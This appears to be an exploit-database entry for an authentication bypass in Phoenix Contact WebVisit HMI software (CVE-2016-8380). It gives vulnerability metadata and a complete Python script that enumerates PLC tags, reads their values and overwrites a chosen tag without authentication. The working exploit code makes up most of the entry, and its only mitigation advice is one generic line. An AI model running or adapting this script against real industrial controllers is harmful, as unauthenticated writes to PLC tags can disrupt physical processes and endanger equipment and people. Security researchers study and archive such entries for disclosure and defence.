Phoenix Contact WebVisit 2985725 - Authentication Bypass

vendor:

WebVisit

by:

Deneut Tijl

7.3

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: WebVisit

Affected Version From: WebVisit (all versions)

Affected Version To: WebVisit (all versions)

Patch Exists: YES

Related CWE: CVE-2016-8380, CVE-2016-8371

CPE: a:phoenix_contact:webvisit

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

Phoenix Contact WebVisit 2985725 – Authentication Bypass

Script to read and write PLC tags via a Webvisit HMI page (even in case of a password protection). Steps: Get Project Name: http://<ip>/, Get list of tags: http://<ip>/<projectname>.tcr, Get current values of tags: http://<ip>/cgi-bin/ILRReadValues.exe, Set new tag values: http://<ip>/cgi-bin/writeVal.exe?<tag>+<value> (urlencode!)

Mitigation:

Ensure that authentication is properly implemented and enforced.

Source

Exploit-DB raw data:

# Exploit Title: Phoenix Contact WebVisit 2985725 - Authentication Bypass
# Date: 2018-09-30
# Exploit Author: Deneut Tijl
# Vendor Homepage: www.phoenixcontact.com
# Software Link: https://www.phoenixcontact.com/online/portal/nl/?uri=pxc-oc-itemdetail:pid=2985725&library=nlnl&pcck=P-19-05-01&tab=5
# Version: WebVisit (all versions)
# CVE : CVE-2016-8380, CVE-2016-8371

# Description
# Script to read and write PLC tags via a Webvisit HMI page (even in case of a password protection)
# Steps:
# * Get Project Name: http://<ip>/
# * Get list of tags: http://<ip>/<projectname>.tcr
# * Get current values of tags: http://<ip>/cgi-bin/ILRReadValues.exe
# * Set new tag values: http://<ip>/cgi-bin/writeVal.exe?<tag>+<value> (urlencode!)

# CVE-2016-8380-SetPLCValues.py

#! /usr/bin/env python

import urllib2

strIP = raw_input('Please enter an IP [192.168.1.200]: ')
if strIP == '': strIP = '192.168.1.200'

try:
    URLResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': no response')
    raw_input('Press Enter to exit')
    exit()

strProject = ''
for line in URLResponse.readlines():
    if 'ProjectName' in line:
        strProject = line.split('VALUE="')[1].split('"')[0]

if strProject == '':
    print('#### Error, no \'ProjectName\' found on the main page')
    raw_input('Press Enter to exit')
    exit()

print('---- Found project \'' + strProject + '\', retrieving list of tags')

try:
    TagResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/' + strProject + '.tcr'))
except urllib2.HTTPError:
    print('#### Critical Error with IP ' + strIP + ': /' + strProject + '.tcr not found')
    raw_input('Press Enter to exit')
    exit()

arrTagList = []
for line in TagResponse.readlines():
    if line.startswith('#!-- N ='):
        intNumberOfTags = int(line.split('=')[1])
        print('---- There should be ' + str(intNumberOfTags) + ' tags:')
    if not line.startswith('#'):
        if not line.split(';')[0].strip() == '':
            arrTagList.append(line.split(';')[0].strip())
            print('-- '+line.split(';')[0].strip())


raw_input('Press Enter to query them all')
import os, urllib
os.system('cls' if os.name == 'nt' else 'clear')
strPost = '<body>'
strPost += '<item_list_size>' + str(len(arrTagList)) + '</item_list_size>'
strPost += '<item_list>'
for item in arrTagList:
    strPost += '<i><n>' + item + '</n></i>'
strPost += '</item_list></body>'
DataResponse = urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/ILRReadValues.exe', strPost)).read()

arrData = []
for item in DataResponse.split('<i>'):
    if '<n>' in item:
        name = item.split('<n>')[1].split('</n>')[0]
        value = item.split('<v>')[1].split('</v>')[0]
        arrData.append((name,value))
print('----- Full list of tags and their values:')
i = 0
for item in arrData:
    i += 1
    print(str(i) + ': Tag ' + item[0] + ' has value: ' + item[1])

ans1 = raw_input('Want to change a tag? Enter a number or press Enter to quit: ')
if ans1 == '':
    exit()
strTag = arrData[int(ans1) - 1][0]
strVal = arrData[int(ans1) - 1][1]
ans2 = raw_input('Setting value for ' + strTag + ' [' + strVal + ']: ')
if ans2 == '': ans2 = strVal
urllib2.urlopen(urllib2.Request('http://' + strIP + '/cgi-bin/writeVal.exe?' + urllib.quote_plus(strTag) + '+' + str(ans2)))